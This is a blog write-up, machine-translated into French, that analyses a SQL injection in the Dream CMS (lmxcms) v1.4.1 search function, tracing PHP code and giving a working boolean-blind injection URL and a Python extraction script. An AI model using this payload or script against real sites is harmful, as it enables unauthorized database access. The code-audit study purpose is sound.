当前位置:网站首页>Dream CMS Front Office Search SQL Injection
Dream CMS Front Office Search SQL Injection
2022-07-19 11:26:00 【Fantastic Vie】
Un rêve.CMS Recherche à la réceptionSQLInjection
v1.4.1La version source est dans le répertoire courant,Empêcher une vulnérabilité ultérieure de ne pas trouver le code source
Exigences en matière de vulnérabilité
Version:v1.4.1
Analyse de vulnérabilité
Cet article est basé sur https://xz.aliyun.com/t/11224 L'article de ce maître reproduit les failles,Donc, en regardant directement le point de fuite,Cette boîte de rechercheSQLLe point d'injection est intéressant,Après avoir étudiéSQlAprès injection,Ce point de vulnérabilité peut être utilisé pour un bon apprentissage.
Cette vulnérabilité est dans la boîte de recherche de la page d'accueil, Il n'y a vraiment pas eu d'attention avant que cet endroit puisse être vulnérable .
Le fichier de code correspondant à l'interface recherchée est c/index/SearchAction.class.php Il se lit comme suit::
class SearchAction extends HomeAction{
private $searchModel = null;
private $param;
public function __construct(){
parent::__construct();
if(!$this->config['is_search']) rewrite::error($this->l['search_is_on']);
$this->searchTime(); // Vérifier l'intervalle de recherche
$this->check(); // Vérification des données reçues
if($this->searchModel == null) $this->searchModel = new SearchModel();
}
public function index(){
$this->param['ischild'] = 1;
$arr = $this->searchModel->getSerachField($this->param);//Conditions d'initialisation
$count = $this->searchModel->searchCoutn($arr);
if($count > 0){
$page = new page($count,$GLOBALS['public']['searchnum']);
//Obtenir les données de la liste
$arr['page'] = $page->returnLimit();
$arr['is_home'] = 1;
$searchData = $this->searchModel->getSearchList($arr,$this->param);
//AffectationurlEt d'autres variables
foreach($searchData as $v){
$param['type'] = 'content';
$param['classid'] = $v['classid'];
$param['classpath'] = $GLOBALS['allclass'][$v['classid']]['classpath'];
$param['time'] = $v['time'];
$param['id'] = $v['id'];
$v['classname'] = $GLOBALS['allclass'][$v['classid']]['classname'];
$v['url'] = $v['url'] ? $v['url'] : url($param);
$v['classurl'] = classurl($v['classid']);
$v['classimage'] = $GLOBALS['allclass'][$v['classid']]['images'];
$v['parent_classid'] = $GLOBALS['allclass'][$v['classid']]['uid'];
$newlist[] = $v;
}
$this->smarty->assign('list',$newlist);
$this->smarty->assign('page',$page->html());
}
$this->smarty->assign('num',$count);
// Obtenir un modèle de liste de recherche
if(!$this->param['tem']){
if($this->param['classid']){
$classtem = $GLOBALS['allclass'][$arr['classid']]['searchtem'];
$arr['tem'] = $classtem ? $classtem : 'index';
}else{
$arr['tem'] = 'index';
}
}else{
$arr['tem'] = $this->param['tem'];
}
$this->setSearchTime(); // Enregistrer le temps de recherche
$this->smarty->assign('title',$this->param['keywords']);
$this->smarty->assign('keywords',$this->param['keywords']);
$this->smarty->assign('description',$this->param['keywords']);
$this->smarty->display('search/'.$arr['tem'].'.html');
}
// Vérifier les données reçues et retourner
private function check(){
//AccèsgetDonnées
$_GET = filter_strs($_GET);
$data = p(2,1,1);
$this->param['keywords'] = string::delHtml($data['keywords']);
if(!$this->param['keywords'] && $this->config['search_isnull']){
rewrite::error($this->l['search_is_keywords']);
}
$this->param['classid'] = (int)$data['classid'];
$this->param['mid'] = (int)$data['mid'];
if(!$this->param['classid'] && !$this->param['mid']) rewrite::error($this->l['search_is_param']);
if($this->param['classid'] && !isset($GLOBALS['allclass'][$this->param['classid']])){
rewrite::error($this->l['search_is_classid']);
}
if($this->param['mid'] && !isset($GLOBALS['allmodule'][$this->param['mid']])){
rewrite::error($this->l['search_is_mid']);
}
$this->param['tem'] = $data['tem'];
$this->param['field'] = $data['field'];
$this->param['time'] = $data['time'] ? $data['time'] : $this->config['search_time'];
$this->param['tuijian'] = $data['tuijian'];
$this->param['remen'] = $data['remen'];
}
}
Comme vous pouvez le voir à partir du code ci - dessus Appelé avant d'initialiser la construction $this->check(); Vérification des données reçues , Suivez cette fonction pour voir check Le paramètre de contrôle dans la méthode doit avoir keywords,Appelé en même temps string::delHtml($data['keywords']); C'est exact.keywordsOn s'en occupe.,Suivi delHtml À class/string.class.php Le code suivant du fichier :
//EnlevezhtmlÉtiquettes
public static function delHtml($str){
return strip_tags($str);
}
Principalement pour l'enlèvementhtml Étiquettes. Retour àindex Continuer à tracer le Code , Vous pouvez voir que le Code s'exécute $count = $this->searchModel->searchCoutn($arr); ,On l'a retrouvé.m/SearchModel.class.php Dans le fichier searchCoutn Méthodes
// Obtenir le nombre total de recherches
public function searchCoutn($searchInfo){
$param = $this->sqlStr($searchInfo);
$param['force'] = 'title';
return parent::countModel($param);
}
Continuez à suivre À class/Model.class.php Dans le fichier countModelMéthodes
//Renvoie le nombre d'enregistrements
protected function countModel($param=array()){
return parent::countDB($this->tab['0'],$param);
}
Finalement tracé jusqu'àclass/db.class.php Document countDB Méthodes
//Nombre d'enregistrements de requête
protected function countDB($tab,$param){
$We = $this->where($param);
$sql="SELECT count(1) FROM ".DB_PRE."$tab $We";
// echo $sql;
$result=$this->query($sql);
$data = mysql_fetch_row($result);
$this->result($result);
return $data['0'];
}
Pour plus de commodité, vous pouvez ajouter echo $sql; Mise en service, Pour faciliter l'impression des SQL
C'est notre processus global de traçage du Code de vulnérabilité , Revenons au fichier de code initial c/index/SearchAction.class.phpDanscheck Méthodes
// Vérifier les données reçues et retourner
private function check(){
//AccèsgetDonnées
$_GET = filter_strs($_GET);
$data = p(2,1,1);
$this->param['keywords'] = string::delHtml($data['keywords']);
if(!$this->param['keywords'] && $this->config['search_isnull']){
rewrite::error($this->l['search_is_keywords']);
}
$this->param['classid'] = (int)$data['classid'];
$this->param['mid'] = (int)$data['mid'];
if(!$this->param['classid'] && !$this->param['mid']) rewrite::error($this->l['search_is_param']);
if($this->param['classid'] && !isset($GLOBALS['allclass'][$this->param['classid']])){
rewrite::error($this->l['search_is_classid']);
}
if($this->param['mid'] && !isset($GLOBALS['allmodule'][$this->param['mid']])){
rewrite::error($this->l['search_is_mid']);
}
$this->param['tem'] = $data['tem'];
$this->param['field'] = $data['field'];
$this->param['time'] = $data['time'] ? $data['time'] : $this->config['search_time'];
$this->param['tuijian'] = $data['tuijian'];
$this->param['remen'] = $data['remen'];
}
Ce qui est important ici, c'est que $data = p(2,1,1); Cet endroit va échapper aux guillemets simples pour les paramètres que nous avons entrés , Certaines fonctions sont filtrées .
Cette méthode nous donne aussi une information utile
$this->param['tem'] = $data['tem'];
$this->param['field'] = $data['field'];
$this->param['time'] = $data['time'] ? $data['time'] : $this->config['search_time'];
$this->param['tuijian'] = $data['tuijian'];
$this->param['remen'] = $data['remen'];
Ceux - ci peuvent être passés comme paramètres ,Je passe parremenEffectuer des tests
Tests de vulnérabilité
Envoyer la demande suivante:/index.php?m=Search&a=index&classid=5&tem=index&field=title&keywords=c&remen=11 Voir imprimé SQL Pour:
SELECT count(1) FROM lmx_product_data WHERE time > 1626240056 AND remen=11 AND classid in(11,12,13,14,5) AND (title like '%c%') ORDER BY id desc
Vous pouvez voir ce que nous avons transmis remen A été attelé à SQL Moyenne, Il ne reste plus qu'à faire un test d'injection .
Envoyer la demande /index.php?m=Search&a=index&classid=5&tem=index&field=title&keywords=c&remen=2%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0))--+ Parce que les guillemets simples sont échappés,C'est pour ça queascii, Le nom de la base de données que nous testons est lmxcms, Le premier est l Correspondant C'est 0x6c, La page est retournée à ce moment Content-Length: 7722 Si notre valeur n'est pas 0x6c La longueur retournée est Content-Length: 4955
Il est donc possible d'obtenir des informations de base de données à partir de ce code d'écriture
import requests
url = "http://192.168.80.154:9090?m=search&keywords=b&mid=1&remen=1 or (if(ascii(substr(database(),{},1))={},1,0))--+"
result = ""
for i in range(1, 7):
for j in range(80, 180):
cl = url.format(i, hex(j))
res = requests.get(cl)
if len(res.text) > 6000:
result += chr(j)
print(result)
Résumé
Cette vulnérabilité est le prochain exemple d'une très bonne vérification de code ,Le Code n'est pas compliqué non plus.,Même si je ne comprends pas PHP Vous pouvez également commencer rapidement
Liens connexes
边栏推荐
- 565. 数组嵌套 : 常规模拟题
- Develop the first Flink app
- STC8H开发(十四): I2C驱动RX8025T高精度实时时钟芯片
- ZABBIX proxy server configuration
- 今日睡眠质量记录79分
- The type of MySQL index (single column index, combined index, BTREE index, clustered index, etc.)
- (2) Using MySQL
- 玩转CANN目标检测与识别一站式方案
- LOJ 2324 - "Tsinghua training 2017" small y and binary tree
- 搭建OpenStack-M版的Cinder所碰到过的状况
猜你喜欢

Docker安装MySQL

PowerCLI 脚本性能优化

A fastandrobust convolutionalneuralnetwork-based defect detection model inproductqualitycontrol-阅读笔记

How to change and reset forgotten root password in RHEL 9

Un modèle de détection par défaut basé sur le réseau neuronal évolutif rapide dans le contrôle de la qualité des produits - lire les notes

Learning outline of the column "MySQL DBA's magic road"

Unity3d 读取mpu9250 例子原代码

Unity dropdown (editable, inputable) drop-down selection box with Text Association

Ppde Q2 welcome | welcome 22 AI developers to join the propeller developer technical expert program!

SPI service discovery mechanism
随机推荐
Category imbalance in classification tasks
(1) Learn about MySQL
Mpu9250 ky9250 attitude, angle module and mpu9250 MPL DMA comparison
What should I do if I can't see any tiles on SAP Fiori launchpad?
From "passive" to "active", how can zeta technology help to upgrade "rfid2.0"?
A curated list of awesome Qt and QML
Microservice online specification
Goldfish rhca memoirs: cl210 describes the openstack control plane -- identify the overcloud control platform service + chapter experiment
Codeforces - 587e (linear basis + segment tree + difference)
Data Guard Broker的概念和Data Guard Broker的配置过程
How much money can you make by inventing flash memory? This is a Japanese dog blood story
微服务上线规范
Dynamic memory allocation problem
LeetCode 745. 前缀和后缀搜索
Nombre d'entrées nombre d'entrées numériques pures limite de longueur maximale
Configuration of vscode+unity3d
LeetCode 558. 四叉树交集
An error, uncaught typeerror: modalfactory is not a constructor
学习笔记3--规划控制中的机器学习基本思想
To get to the bottom: Principle Analysis of Objective-C correlation attribute